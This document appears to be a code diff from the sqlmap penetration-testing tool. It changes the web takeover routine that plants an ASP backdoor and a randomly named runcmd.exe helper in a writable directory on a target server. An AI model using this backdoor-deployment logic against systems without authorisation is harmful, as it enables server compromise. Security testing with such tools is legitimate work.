sqlmapproject
diff --git a/‎lib/takeover/web.py‎
Lines changed: 3 additions & 3 deletions b/‎lib/takeover/web.py‎
Lines changed: 3 additions & 3 deletions
diff --git a/‎shell/backdoor.asp_‎
5 Bytes b/‎shell/backdoor.asp_‎
5 Bytes
@@ -200,11 +200,11 @@ def webInit(self):
             logger.info(infoMsg)
 
             if self.webApi == "asp":
-                runcmdName = 'runcmd.exe'
-                runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, runcmdName + '_'), runcmdName)
+                runcmdName = "tmpe%s.exe" % randomStr(4)
+                runcmdStream = decloakToNamedTemporaryFile(os.path.join(paths.SQLMAP_SHELL_PATH, 'runcmd.exe_'), runcmdName)
                 scriptsDirectory = "Scripts"
                 backdoorDirectory = "%s..\%s" % (posixToNtSlashes(directory), scriptsDirectory)
-                backdoorContent = backdoorContent.replace("WRITABLE_DIR", backdoorDirectory)
+                backdoorContent = backdoorContent.replace("WRITABLE_DIR", backdoorDirectory).replace("RUNCMD_EXE", runcmdName)
                 backdoorStream.file.truncate()
                 backdoorStream.read()
                 backdoorStream.seek(0)